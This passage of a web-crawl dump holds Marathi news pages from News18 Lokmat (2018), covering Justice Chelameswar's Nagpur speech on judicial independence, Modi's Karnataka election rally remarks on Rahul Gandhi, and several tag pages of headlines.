आणि निवडणुकांच्या राजकारणात व्यस्त आहेत अशी खरमरीत टीका त्यांनी केली.\nनागपूर, 14 एप्रिल : देशातील न्यायव्यवस्था निष्पक्ष ठेवण्यात जर आपण कमी पडलो तर येणाऱ्या पिढ्यांना आपण सन्मानपूर्ण जीवन देऊ शकणार नाही पर्यायाने ते आपल्याला माफही करणार नाही असं परखड मत सर्वोच्च न्यायालयाचे दुसरे सर्वात ज्येष्ठ न्यायमूर्ती चेलामेश्वर यांनी नागपुरात व्यक्त केलंय.\nनागपूर हायकोर्ट बार असोसिएशनने न्यायमूर्ती चेलामेश्वर यांचे नागपुरात व्याख्यान आयोजित केले होते. यावेळी चेलामेश्वर यांनी न्यायाधीश, वकीलांचे चांगलेच कान टोचले.\nसध्याच्या पिढीतील वकील हे पैसे कमवण्याच्या आणि निवडणुकांच्या राजकारणात व्यस्त आहेत अशी खरमरीत टीका त्यांनी केली.\nदेशातील शिक्षा होण्याची टक्केवारी फक्त पाच टक्के आहे याचाच अर्थ असा की गुन्ह्याचा तपास एकतर योग्य होत नाही किंवा ते प्रकरणं कोर्टात सरकारी पक्षांकडून योग्य पद्धतीने मांडली जात नाही असंही न्यायमूर्ती चेलामेश्वर म्हणाले.\nतपास यंत्रणा आपले काम योग्य पद्धतीने करताहेत काय तर त्याचे उत्तर नकारात्मक असल्याचे मला गुवाहाटी हायकोर्टात असतांना याचा प्रत्यय आल्याचं त्यांनी सांगितलं.\nन्यायपालिकाचे स्वातंत्र घटनेत लिहले आहे पण न्यायव्यवस्थेतील नेमणुकांमध्ये सरकारचा हस्तक्षेप असल्याचंही वास्तव असल्याचंही चेलामेश्वर म्हणाले.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: Justice Chellameshwarनागपूरन्यायमूर्ती चेलामेश्वर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/national/karnataka-assembly-election-2018-pm-narendra-modi-campaign-live-update-288882.html", "date_download": "2018-09-25T17:27:26Z", "digest": "sha1:LFFF5G4Q4EJ7ZQY5EQO5PJZFAOOAKNMG", "length": 16193, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "'कागदाशिवाय 15 मिनिटं भाषण करून दाखवावं', मोदींचं राहुल गांधींना चॅलेंज", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'कागदाशिवाय 15 मिनिटं भाषण करून दाखवावं', मोदींचं राहुल गांधींना चॅलेंज\nकर्नाटकमध्ये पंतप्रधान नरेंद्र मोदींच्या प्रचार सभेचा आज प्रारंभ झाला आहे. मोदींनी आपल्या कर्नाटकच्या सभेत राहुल गांधींची जोरदार फिरकी घेतली.\n01 मे : सध्या सर्वत्र कर्नाटक निवडणूकांचे वारे वाहताना दिसतायत. त्यात आजपासून पंतप्रधान नरेंद्र मोदी हे कर्नाटक दौऱ्यावर आहेत. कर्नाटकमध्ये पंतप्रधान नरेंद्र मोदींच्या प्रचार सभेचा आज प्रारंभ झाला आहे. कर्नाटकच्या चामराजनगरहून प्रचाराला सुरूवात झाली आहे. कर्नाटकमध्ये भाजपचे मुख्यमंत्रिपदाचे उमेदवार येडियुरप्पाच आहेत, अशी घोषणाही मोदींनी केली.\nदरम्यान, मोदींनी आपल्या कर्नाटकच्या सभेत राहुल गांधींची जोरदार फिरकी घेतली. राहुल माझ्यावर खूप टीका करतात पण त्यांनी विश्वेश्वर्या हे नाव आधी नीट म्हणून दाखवावं. अशी कोटी मोदी यांनी केली आहे. राहुल गांधीने 15 मिनिटं विना कागद भाषण करून दाखवावं असं चॅलेंजही नरेंद्र मोदी यांनी केलं आहे.\nदरम्यान, राहुल गांधी यांना विश्वेश्वर्या म्हणता येत नाही, असा व्हिडिओ काही दिवसांपूर्वी व्हायरल झाला होता. त्याच्यावर निशाना साधत मोदींनी राहुल गांधींवर टीका केली आहे.\nनरेंद्र मोदी यांच्या भाषणातले महत्त्वाचे मुद्दे\n- कर्नाटकात भाजपचीच लाट येणार\n- कर्नाटकात बदलाचे वारे वाहत आहेत याची वार्ता दिल्लीपर्यंत पोहोचली आहे\n- 'मी' कर्नाटकच्या भावी मुख्यमंत्र्यासोबत बसलो आहे.\n- भाजप कर्नाटकमध्ये नक्की जिंकणार ही लाट नाही हे वादळ आहे\n- काँग्रेसचे अध्यक्ष कधी कधी मर्यादा सोडून बोलतात पंतप्रधान नरेंद्र मोदींची राहुल गांधींवर कडाडून टीका\n- कर्नाटकात भाजपकडून मुख्यमंत्रीपदाचे उमेदवार म्हणून येडियुरप्पा यांचं नाव जाहीर\n- देशाची दिशाभूल का करता मोदींचा काँग्रेसला सवाल\n- काँग्रेसनं जनतेला खोटी आश्वासनं दिली\n- भारतीय जनता पक्षाला सामान्य जनतेसाठी भल्याच्या आणि विकासाच्या मार्गावर चालायचं आहे. हा विश्वास मी तुम्हाला देतो.\n- कर्नाटकात कोणतीही कायदा व सुव्यवस्था नाही. येथे लोकायुक्त सुरक्षित नाही तर सामान्य माणूस काय सुरक्षित राहील \n- जर मुख्यमंत्र्यांना 2 1 फॉर्म्युला आहे तर मंत्र्यांचा 1 1 फॉर्म्युला असावा. पण सध्या मंत्र्यांचे नातेवाईक निवडणूक लढवत आहेत. त्यामुळे हा काँग्रेस कार्यकर्त्यांचा अपमान आहे. हे काँग्रेसचे राजकारण आहे.\n- चामराजनगरमध्ये पाण्याच्या आणि नोकरीच्या समस्या का आहेत. इथे पर्यटनाचे बार वाजले आहेत. राज्य सरकार काय करत आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: campaignkarnataka assembly election 2018live updatesPM narendra modiRahul gandiUdupiअमित शाहउडुपीकर्नाटक निवडणुका 2018कर्नाटक विधानसभा निवडणुकानरेंद्र मोदीप्रतार सभाराहुल गांधी\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%85%E0%A4%AD%E0%A4%BF%E0%A4%A8%E0%A5%87%E0%A4%A4%E0%A4%BE/all/page-3/", "date_download": "2018-09-25T16:50:12Z", "digest": "sha1:5RHBNWBUVBGRYISRKZQSW6B4NPLPTUKQ", "length": 11619, "nlines": 140, "source_domain": "lokmat.news18.com", "title": "अभिनेता- News18 Lokmat Official Website Page-3", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमाझं आणि काशिनाथ घाणेकरांचं व्यक्तिमत्त्वं पूर्ण वेगळं - सुबोध भावे\nसुबोध भावेचा 'सविता दामोदर परांजपे' रिलीज होतोय. सगळीकडे सिनेमाचे प्रोमोज चाललेत. प्रसिद्ध नाटकावर हा सिनेमा बेतलाय. सुबोध भावेनं साकारलेल्या शरद अभ्यंकरकडे सुबोध कसा पाहतोय\nहिंदी मालिकांमध्ये चिन्मय मांडलेकरची 'दस्तक'\nअर्जुन रामपाल आणि सोनू सुदनं केला लष्कराला सलाम\n...म्हणून वर्षाअखेरीस 'लकी' ठरणार सिद्धार्थ जाधव\nआधी नकार देऊनही, राधिका आपटेनं का स्वीकारला 'घोल'\nअभिनेता राकेश बापट वळलाय अध्यात्माकडे\nउद्धट मित्राची कानउघडणी करण्याचा अधिकार आहे, सुखटनकरांचं जितूला समर्थन\nकोणाला कधी,कसे संबोधावे याचे नियमच करा, आणखी एका कलाकारानं सचिन कुंडलकरला फटकारलं\n'मामा' वाद- विजय चव्हाणांना भेटण्यावरून जितेंद्र जोशीने सचिन कुंडलकरला फटकारलं\nआदिनाथ कोठारे ठरला सायबर क्राईमचा बळी\nइरफानच्या तब्येतीत सुधार, लवकरच भारतात परतणार\nविजय चव्हाणांची ही इच्छा अपुरीच राहिली\nसनी देओलच्या पडद्यावरच्या मुलाची धडधड का वाढलीय\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AE%E0%A4%BE%E0%A4%AB%E0%A4%BF%E0%A4%AF%E0%A4%BE/", "date_download": "2018-09-25T17:44:56Z", "digest": "sha1:HS625FFLR2OAPT3XRBB4VEVTJTMLZEJZ", "length": 11299, "nlines": 142, "source_domain": "lokmat.news18.com", "title": "माफिया- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nगाड्या सोडून द्या, महसूलमंत्र्यांच्या दालनातून वाळू माफियाचा फोन \nचंद्रकांत पाटील हे आपल्या अँटी चेंबरमध्ये व्यस्त असताना वाळू तस्कराने हा प्रताप केलाय.\nजनार्दन रेड्डींकडून काँग्रेस आमदाराला लाच,काँग्रेसने आॅडिओ टेप केली जाहीर\nट्रम्प व्हाईट हाऊसला 'माफिया'बॉस सारखं चालवतात - माजी एफबीआय प्रमुख\nमहाराष्ट्र Apr 8, 2018\nभानुदास कोतकर आणि कर्डीले यांच्या टोळ्यांना अटकाव कोण करणार\nमानहानी प्रकरणात केजरीवालांनी मागितली माफी; अरुण जेटलींचीही घेणार भेट\nखतरनाक ड्रग्ज माफिया 'पाब्लो' येतोय मोठ्या पडद्यावर \nवीज चोरांवर मोक्का लावा-बेस्ट\nआता मुंबईत सेना-भाजपची 'दिल दोस्ती दोबारा' \nब्लॉग स्पेस Feb 13, 2017\n'मुंबई में माफिया नागपूर में माफ किया', उद्धव ठाकरेंचं टीकास्त्र\n21 तारखेनंतर माफिया घरी बसणार,सोमय्यांचं सेनेवर टीकास्त्र\nइतर पक्षांचे चांगले उमेदवार हायजॅक करा, भाजपचा आमदारांना आदेश\nकुख्यात गुंड बाबा बोडकेचा मुख्यमंत्र्यांसोबत फोटो\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/youths/", "date_download": "2018-09-25T17:52:03Z", "digest": "sha1:ODTSQMBK6XISRFDNHBNCL73UUI2YYY4D", "length": 11739, "nlines": 140, "source_domain": "lokmat.news18.com", "title": "Youths- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nतेलंगणा ऑनर किलिंग : पतीच्या हत्येनंतर वडिलांनी आणला गर्भपातासाठी दबाव, मुलीचा बंडाचा झेंडा\nप्रेमविवाह मान्य नसल्याने वडिलांनीच आपल्या जावयाची हत्या करून मुलीवर गर्भपातासाठी दबाव आणला. मात्र दु:खाचा डोंगर पचवून मुलीनं वडिलांविरूद्ध बंडाचा झेंडा उभारला आहे.\nउपराजधानी नागपुरात रेव्ह पार्टीचा पर्दाफाश; 6 मुली आणि 8 तरूणांना अटक\nतरुणाईसाठी भारत 'सुसाइड कॅपिटल' आत्महत्या करणारी जगातली ३ पैकी १ स्त्री भारतीय\nनर्सिंगच्या 'अॅडमिशन'मध्ये बहिणीची फसवणूक, भावानं केली आत्महत्या\nपाळणाघर संचालिकेचा मुलगाच करायचा चिमुकलीवर अत्याचार\nअमेरिकेत गुजराती युवकाची लुटारूंकडून हत्या, थरारक VIDEO व्हायरल\nलोकलमध्ये 'किकी चँलेंज' करणं पडलं महाग, साफ करावं लागलं विरार स्टेशन\nपिकनिकला गेलेल्या युवकाचा अतिउत्साह त्याच्याच जीवावर बेतला\nअर्जुन तेंडुलकरने घेतली विकेट, व्हिडिओ पाहून भावूक झाला विनोद कांबळी\nVIDEO : धावत्या रेल्वेच्या टाॅयलेटला तरुण लटकला,हात सुटला अन्...\nमुंबईतल्या जुहू चौपाटीवर चार जण बुडाले, एकाचा जीव वाचला\n'असले' जीवघेणे स्टंटस् करू नका\nमल्लखांब दिवसानिमित्त पहा हा सर्वांगसुंदर व्यायाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00414.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://www.dainikprabhat.com/328-%E0%A4%94%E0%A4%B7%E0%A4%A7%E0%A4%BE%E0%A4%82%E0%A4%B5%E0%A4%B0-%E0%A4%86%E0%A4%B0%E0%A5%8B%E0%A4%97%E0%A5%8D%E0%A4%AF-%E0%A4%AE%E0%A4%82%E0%A4%A4%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%B2%E0%A4%AF/", "date_download": "2018-09-25T17:33:06Z", 